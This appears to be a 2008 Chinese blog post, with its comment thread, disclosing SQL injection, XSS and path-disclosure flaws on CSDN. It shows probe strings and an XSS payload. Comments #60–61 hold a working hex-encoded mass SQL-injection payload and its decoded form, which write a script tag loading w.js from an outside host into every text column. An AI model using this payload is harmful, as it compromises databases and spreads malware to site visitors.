随笔-54  评论-255  文章-1  trackbacks-1

从CSDN 漏洞谈.NET 安全开发
by:jannock
http://jannock.cnblogs.com/
---------------------------
简介:
CSDN是chinese software develop net 的缩写 ,中国软件开发联盟。
中国最大的开发者技术社区
---- 《程序员》刊物 官方网站
它是集 新闻、论坛、群组、Blog、文档、下载、读书、Tag、网摘、搜索、.NET、Java、游戏、视频、人才、外包、第二书店、《程序员》等多种项目于一体的
大型综合性IT门户网站,它有非常强的专业性,其会员囊括了中国地区百分之九十以上的优秀程序员,是至今为止,在IT技术交流及其周边 国内中第一位的网站。
(from:百度百科)

 

从一个SQL注入点说起:

      大部分时间都是在博客园呆着,很少上csdn,突然心血来潮,看了一下自己多年的csdn账号(还好,密码没忘记,哈哈。)

看到CSDN比以往还强大了,功能增多,个人空间什么的都有了。出于好奇,看到大部份代码都是用.net开发,由于近期研究.net全安性方面的,所以很不觉意地在个人空间搜索那输入了“'”奇迹般地出现了预想中的界面:

再输入:“aa'--”  如果存在注入,返回是正常的。“--”把后面的SQL语句注释

如图:

返回正常,只是下面的搜索数据没了,心想,难道存在传说中的SQL注入?

出于好奇,再试了一下“a' and 1=1--”和 “a' and 1=2 -- ”  返回的结果都一样,唉,看来注入是存在,但这注入点比较隐蔽,利用起来比较麻烦。

为了再证明SQL注入的存在。再次输入了几句SQL语句,结果是输入错误的语句,系统出现出错页,正确的语句系统返回正常。

可惜不知道表的结构,不然利用起来就。。。(后来经多次猜测,发现了几个表,呵呵。。。不过CSDN数据库设计还是挻复杂的)

 

 跨站漏洞的存在:

跨站漏洞在现今web网络,越来越受着关注,CSDN不会不关注吧?

在分享网页到我的空间发了如下:

返回后正常,但再返回首页:

 

发现怎么删也删除不了,难道就是因为那些特殊符号使js出错?难道就是传说中的脚本注入?带着疑问,查看了页面源码,发现:

留意到了么?  js的地方被我输入的截断了。于是再输入:“http://' onmouseover=alert('xxs') id='(

出现如图:

查看源码,变成了:

 

<span class="time">刚刚</span><a class="delete" onclick="return $Confirm(this);" href='javascript:checkDelete("xxxxx","http://' onmouseover=alert('xxs') id='(","2008-09-08 15:59:15.853","Share","","UserAction_2113284","20080908")'>删除</a>

再看其他漏洞:

暴路径漏洞:

输入: http://counter.csdn.net/pv.aspx?id=342%27

 

另一个SQL注入漏洞:

 

可以看出,这完全是可以注入的。。

其他出错信息:

 

对于一个健全的程序,出错处理应该要屏蔽的,任何出错都会给程序带来危险。

还发现多处php的暴路径漏洞。出现这里只谈论.net,所以就不给出了。

还有一处漏洞是非常危险的SQL注入,能直接操作数据库:

 

出于安全原因,这里不给出攻击地址。。。

关注.net安全开发。。。

 (此文章只用于学习交流,请不要利用漏洞对网站进行攻击)

posted on 2008-09-08 16:19 jannock 阅读(2979) 评论(74)  编辑 收藏 网摘 所属分类: 动易安全手册

评论:
#1楼 2008-09-08 16:22 | killkill      
oh,这都能让LZ发现,LZ太厉害了。
LZ提的都是真知灼见啊

  回复  引用  查看    
#2楼 2008-09-08 16:27 | Justin      
哈!不知道CSDN看到这篇文章啥感想
  回复  引用  查看    
#3楼 2008-09-08 16:28 | Trans_2009[未注册用户]
顶,好文章啊!!~
  回复  引用    
#4楼 2008-09-08 16:29 | Q.Lee.lulu      
顶!!
LZ慧眼啊!!
高人!!

  回复  引用  查看    
#5楼 2008-09-08 16:29 | Trans_2009[未注册用户]
忙于功能时就很容易忽视安全性!~
楼主太强了!~

  回复  引用    
#6楼 2008-09-08 16:31 | Dreaming      
一早就觉得CSDN有漏洞了,现在老hu机横行中。SQL注入找阿D直接爆库就可以了,连测试的劲都省了
  回复  引用  查看    
#7楼 2008-09-08 16:32 | 太阳      
很好很强大。
  回复  引用  查看    
#8楼 2008-09-08 16:33 | 小强.假的[未注册用户]
实际上安全跟平台没有关系, 还是软件编写过程不注意安全造成的, 程序员没有安全的概念, 也不知道啥时候可能出现不安全的操作. 注入/跨站漏洞的中国软件行业是最常见的, 不管是B/S还是C/S程序, 尤其是小作坊出来的东西..另外软件发布的时候发布的调试版本, Web.Config文件根本就不重新设置..记得前几天有动易的一个安全文档, 上面写的不错...
  回复  引用    
#9楼 2008-09-08 16:35 | 王其荣的博客      
CSDN的开发人员犯这么低级的错误。。。
  回复  引用  查看    
#10楼 2008-09-08 16:39 | no_name[未注册用户]
看来CSDN的程序员不怎么地
  回复  引用    
#11楼[楼主] 2008-09-08 16:41 | jannock      
@小强.假的
谢谢支持,那篇文章也首发在本站....

  回复  引用  查看    
#12楼 2008-09-08 16:41 | 博主才能看到[未注册用户]
CSDN的web.config一直就没改过,给提过意见也不改


  回复  引用    
#13楼 2008-09-08 16:50 | xjb      
楼主真强
  回复  引用  查看    
#14楼 2008-09-08 16:55 | 真见      
牛叉
  回复  引用  查看    
#15楼 2008-09-08 16:56 | test3721[未注册用户]
应该是不小心了.这些加个字符过虑或都使用sql传参都可以解决.
  回复  引用    
#16楼 2008-09-08 16:57 | 谢慧琦      
csdn的程序员很差的

获取数字参数居然用

Convert.ToInt32(Request.QueryString["id"])

这是初学者才用的

作为一个大网站,数字参数不经过验证,接收request也不判断是否存在,而且居然没有形成自己的工具类库,真是差劲!

  回复  引用  查看    
#17楼 2008-09-08 17:00 | Dreaming      
@谢慧琦
请问应该怎样用?

  回复  引用  查看    
#18楼 2008-09-08 17:02 | HappyQQ      
不错。

其实国内很多网站都存在用SQL注入,XSS漏洞。

  回复  引用  查看    
#19楼 2008-09-08 17:04 | jowo      
这么大的网站连个错误提示 页面都没有
  回复  引用  查看    
#20楼 2008-09-08 17:13 | ocean      
这个漏洞和.NET没有关系,SQL注入问题在其他平台一样存在。
这类问题通常都是参数没有检查,并且拼接sql字符串造成的。

  回复  引用  查看    
#21楼[楼主] 2008-09-08 17:16 | jannock      
@ocean
正因为SQL注入是其他平台同样存在,所以与那一种语言都有关.
在.net方面的防御方式,或安全设置方面.请参看本BLOG的其他文章..

  回复  引用  查看    
#22楼 2008-09-08 17:22 | hcat1999[未注册用户]
非常感谢博主的文章

都是我们的技术人员的疏忽造成的,正在修复中
博主是否有CSDNID,如果有请告诉我,我会给你发一个代表特殊贡献奖的勋章

  回复  引用    
#23楼 2008-09-08 17:28 | 代码乱了      
果然是高手,再次佩服下博主,同时也佩服下CSDN
  回复  引用  查看    
#24楼 2008-09-08 17:30 | 小强.假的[未注册用户]
没有看到<动易的安全文档就是这个博客的>,哈哈...本人的ASP.Net经验是所有数据库查询的SQL语句, 使用ADO.NET参数方式构建, 不要手动构建, 项目在打框架的时候就设计好了错误页面, 并且配置好WEB.CONFIG文件. 发布的时候全部是发布版非DEBUG版,CS文件,配件的调式文件全部删除...另外对跨站漏洞, 对外部传入的非数字型变量进行HTML/JS特殊字符串过滤...逻辑漏洞, 只能看自己的逻辑水平了...
  回复  引用    
#25楼 2008-09-08 17:30 | 真见      
源文件: d:\website\counter.csdn.net\pv.aspx 行: 11
我靠,,绝对路径都报出来了 狂晕中。。

  回复  引用  查看    
#26楼 2008-09-08 17:33 | Q.Lee.lulu      
@真见

娃哈哈

兄弟很久没发文章了


  回复  引用  查看    
#27楼 2008-09-08 17:35 | Z_david[未注册用户]
很强大
  回复  引用    
#28楼 2008-09-08 17:36 | Martin(高超)      
看来现在的初级程序员还是不少啊。这样的错误都有。
  回复  引用  查看    
#29楼 2008-09-08 17:41 | 小隐任行      
这大的一个网站,这些注入问题根本不是前台程序人员考虑的范围,应该有一个比较成熟的平台,目前只是在堆积木的过程,不过国内好像都是这样。寒
  回复  引用  查看    
#30楼 2008-09-08 17:50 | pdd2[未注册用户]
CSDN招的人工资在5K左右.而在北京来说这个工资代遇是中下的.所以能招得到什么水平?
  回复  引用    
#31楼[楼主] 2008-09-08 17:50 | jannock      
@hcat1999
佩服CSDN
办事效率高

  回复  引用  查看    
#32楼 2008-09-08 18:01 | 狼Robot      
过来仰慕下楼主.
  回复  引用  查看    
#33楼 2008-09-08 18:01 | 狼Robot      
也给自己提个醒,哈哈.
  回复  引用  查看    
#34楼 2008-09-08 18:10 | Doolo[未注册用户]
软件漏洞 是不可避免的.
只有发现 修正 再发现 再修正.

  回复  引用    
#35楼 2008-09-08 18:31 | 游侠_1      
CSDN
都成什么样了......无语中......

  回复  引用  查看    
#36楼 2008-09-08 18:52 | clefoo      
做网站的。。
  回复  引用  查看    
#37楼 2008-09-08 18:52 | Ivony...      
CSDN的押宝游戏的提交页面是GET方式的……

很多东西都不稀罕说了……

  回复  引用  查看    
#38楼 2008-09-08 18:54 | clefoo      
LZ很危险,小心被抓
  回复  引用  查看    
#39楼 2008-09-08 18:55 | clefoo      
如果想炫耀自己的技术,我看你还是免了。。这些问题,CSDN也不是一次两次了。为了你不吃官司,你还是下掉这篇文章
  回复  引用  查看    
#40楼 2008-09-08 19:10 | 小龙3      
错误信息居然不遮屏,直接看到源代码了。
汗。。。。。。。。。

  回复  引用  查看    
#41楼 2008-09-08 20:14 | 咔咔      
意外的错误
  回复  引用  查看    
#42楼 2008-09-08 20:24 | Trans_2009[未注册用户]
--引用--------------------------------------------------
clefoo: 如果想炫耀自己的技术,我看你还是免了。。这些问题,CSDN也不是一次两次了。为了你不吃官司,你还是下掉这篇文章
--------------------------------------------------------
楼主又没有侵入CSDN,又没有破化CSDN数据,只是发现了漏洞问题,义务替CSDN检测了一下系统。
呵呵,clefoo是不是有点嫉妒楼主了,期待你也能给CSDN找个洞!~

  回复  引用    
#43楼 2008-09-08 20:27 | 中国的垃圾[未注册用户]
只能说楼主是高手。
不能说CSDN太差。
毕竟,只要你水平够强,没有破解不了的网站。

  回复  引用    
#44楼 2008-09-08 21:04 | WildRam      
--引用--------------------------------------------------
Justin: 哈!不知道CSDN看到这篇文章啥感想
--------------------------------------------------------
呵呵..是啊.

  回复  引用  查看    
#45楼 2008-09-08 21:32 | 抛出异常的爱[未注册用户]
是啊连个错误提示页面都没有,那些程序员连初学者都不如,或者里面的人都是在混啊,感到悲哀
  回复  引用    
#46楼 2008-09-08 22:27 | 齐.net      
楼主很强,
  回复  引用  查看    
#47楼 2008-09-08 22:52 | 17avba[未注册用户]
我是来膜拜博主的,博主牛人,很强大
  回复  引用    
#48楼 2008-09-08 23:26 | 曲滨*銘龘鶽      
--引用--------------------------------------------------
Trans_2009: --引用--------------------------------------------------
clefoo: 如果想炫耀自己的技术,我看你还是免了。。这些问题,CSDN也不是一次两次了。为了你不吃官司,你还是下掉这篇文章
--------------------------------------------------------
楼主又没有侵入CSDN,又没有破化CSDN数据,只是发现了漏洞问题,义务替CSDN检测了一下系统。
呵呵,clefoo是不是有点嫉妒楼主了,期待你也能给CSDN找个洞!~

--------------------------------------------------------
不是这样的,csdn 这类门户网站的漏洞发现后,原则上不应该大范围宣扬的
你应该立即,给csdn 发邮件,甚至可以卖给他们,而不是把他贴出来;这样影响太不好了;(我和CSDN一点毛关系都没有);如果要贴也要等csdn 修复了在贴;

楼主已经偏离原则了有些;而且发到首页不太好的;

  回复  引用  查看    
#49楼 2008-09-09 00:01 | Figo Chen      
Convert.ToInt32(Request.QueryString["id"])
接收Request.QueryString传来的数据,对于一般的int,decimal,bool等类型的数据,我一般自己写一个类ParameterFilter,里面有诸如ParameterFilter.GetInt(object obj,int defaultValue)的方法,先检查是否为null或string.Empty,然后TryParse,如果不合法则返回一个defaultValue,不知我这种做法对不对呢?

希望有.net老手能发表一些关于.net这些小问题的文章...

  回复  引用  查看    
#50楼 2008-09-09 01:35 | 偶卖糕的      
楼上和我一个做法,呵呵,这样也可以避免很多注入攻击了。嘿嘿,方法名都一样。
  回复  引用  查看    
#51楼 2008-09-09 02:33 | Trone Dong      
虽然自己也常去CSDN,但一直对CSDN没有好感。号称中国最大的开发者技术社区,自己网站的优化都做不好,访问的人多了,打开网页的速度就非常慢,也不反省一下。现在转到这里来了,还是cnblogs好些
  回复  引用  查看    
#52楼 2008-09-09 07:50 | 偶遇的人[未注册用户]
我也很奇怪。有时候在CSDN下载资料。不成功时确实不知道原因。

连个错误提示都没有。

  回复  引用    
#53楼 2008-09-09 09:00 | 宝马放羊[未注册用户]
本来就是个垃圾网站,不去c xxx好多年
  回复  引用    
#54楼 2008-09-09 09:26 | www.guyazi.com      
呵呵,这类算是初级的错误的确不应该。

我一直在安全方面做出很多努力,也希望能够解释楼主这样的朋友,共同学习,提高安全知识。

  回复  引用  查看    
#55楼 2008-09-09 09:49 | aaaa[未注册用户]
这和.NET开发有关系吗.

简直就是意淫

  回复  引用    
#56楼 2008-09-09 10:09 | Leem      
晕的,居然把错误直接暴露出来.
  回复  引用  查看    
#57楼 2008-09-09 10:21 | Tony Zhou      
哈哈哈
  回复  引用  查看    
#58楼 2008-09-09 10:24 | clefoo      
@Trans_2009
我为什么要嫉妒LZ,只是我认为这种行为很不对,LZ不删,你能保证看了这篇文章的人不会删?

你要知道,首先当责任的是博客园,LZ可以拍拍屁股离开博客园,博客园能吗?

  回复  引用  查看    
#59楼 2008-09-09 10:25 | clefoo      
最讨厌做事不经大脑的。。
  回复  引用  查看    
#60楼 2008-09-09 10:29 | 蒋[未注册用户]
如果加入这段话在 aspx页面的后面,,
他们的dba要哭了..

';DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4445434C415245204054207661726368617228323535292C40432076617263686172283430303029204445434C415245205461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40432B275D3D5B272B40432B275D2B2727223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F6A6A6D616F627564756F2E333332322E6F72672F63737273732F772E6A73223E3C2F7363726970743E3C212D2D272720776865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F6A6A6D616F627564756F2E333332322E6F72672F63737273732F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72%20AS%20CHAR(4000));EXEC(@S);--

  回复  引用    
#61楼[楼主] 2008-09-09 10:53 | jannock      
楼上的不会吧,这样的代码都写得出?是经常用的吧?哈哈..
DECLARE @T varchar(255),@C varchar(4000) DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@T+'] set ['+@C+']=['+@C+']+''"></title><script src="http://jjmaobuduo.3322.org/csrss/w.js"></script><" target="_new">http://jjmaobuduo.3322.org/csrss/w.js"></script><" target="_new">http://jjmaobuduo.3322.org/csrss/w.js"></script><" target="_new">http://jjmaobuduo.3322.org/csrss/w.js"></script><!--'' where '+@C+' not like ''%"></title><script src="http://jjmaobuduo.3322.org/csrss/w.js"></script><" target="_new">http://jjmaobuduo.3322.org/csrss/w.js"></script><" target="_new">http://jjmaobuduo.3322.org/csrss/w.js"></script><" target="_new">http://jjmaobuduo.3322.org/csrss/w.js"></script><!--''')FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor

  回复  引用  查看    
#62楼[楼主] 2008-09-09 11:02 | jannock      
@clefoo
事先声明,我发表文章前,已经发邮箱告诉了CSDN.
他们也很快地修复了问题.
如果要等都修复了,文章再发出,那发表的意义也就没有了..

  回复  引用  查看    
#63楼 2008-09-09 13:13 | clefoo      
最初级的黑客技术,LZ竟然引以为傲,真是可以想象啊
  回复  引用  查看    
#64楼[楼主] 2008-09-09 13:21 | jannock      
@clefoo
我引以为傲么?
这是最初级的黑客技术,不错.
但作为一个编程大站存在,你说合理么?
难道就让他继续这样么? 晕...
我只是关注.net安全,要是不提出,整个网络永远都不会有所改善.

  回复  引用  查看    
#65楼[楼主] 2008-09-09 13:28 | jannock      
@clefoo
很难明白你这种人,我发表文章与你何关?
我只是菜鸟,但我能用菜鸟的技术可以黑掉你.信么?想试试么?

  回复  引用  查看    
#66楼 2008-09-09 13:35 | 陈晨      
CSDN犯这种错误太不该了
毕竟那里是程序员的大本营

  回复  引用  查看    
#67楼 2008-09-09 13:41 | www.guyazi.com      
@ jannock

嘿,听你这么一说,我有兴趣了。能否请你配合测试本人网站的安全性呢?



  回复  引用  查看    
#68楼[楼主] 2008-09-09 14:23 | jannock      
@www.guyazi.com
我不是做安检的,我只是菜鸟...

  回复  引用  查看    
#69楼 2008-09-09 18:47 | 丁学      
错误抛出给用户~~~~~~难道CSDN的技术人都跳槽走了?
  回复  引用  查看    
#70楼 2008-09-10 15:30 | 雅阁布      
呵呵!!
  回复  引用  查看    
#71楼 2008-09-10 23:50 | Vincent.Feng[未注册用户]
我注入的还挺细心的,我一般都是遍历的方法去注入一个站。通过主页的源代码,知道里面的url然后一层一层的去取出来,然后有参数的,就在后面加注入。这样会很方便。注就注了,注不了也就算了。
  回复  引用    
#72楼 2008-09-11 17:44 | 吴潮槟[未注册用户]
习惯性做法都是从Url里面取出参数先进行解码,解密,再解码,过滤再转换为相应的数据类型等等,这里可以根据你的安全强度来决定需要哪一些步骤。
在数据库查询的时候最好用参数化,这个可以减少一些未知的注入。
另一个不要贪方便,如果url传过来是数据,逻辑上面是int就要先转为int类型,
在查数据库的时候再转为string类型,这样就不会在数据出现错误的时候要等到查询的时候才知道

  回复  引用    
#73楼 2008-09-27 13:46 | RenSky      
楼主很强悍,看来csdn程序质量和文章质量一样.
  回复  引用  查看    
#74楼 2008-10-14 13:42 | www.guyazi.com      
妈的,这些天常常有人使用60楼的方法来拜访本人网站。

此种方法对本人网站基本无用。

楼主貌似很强悍,向你鞠个躬,表达一下学习的意愿。

  回复  引用  查看    
发表评论

昵称: [登录] [注册]

主页:

邮箱:(仅博主可见)

评论内容:

  登录  注册

[使用Ctrl+Enter键快速提交评论]

0 1286800




相关文章:

相关链接: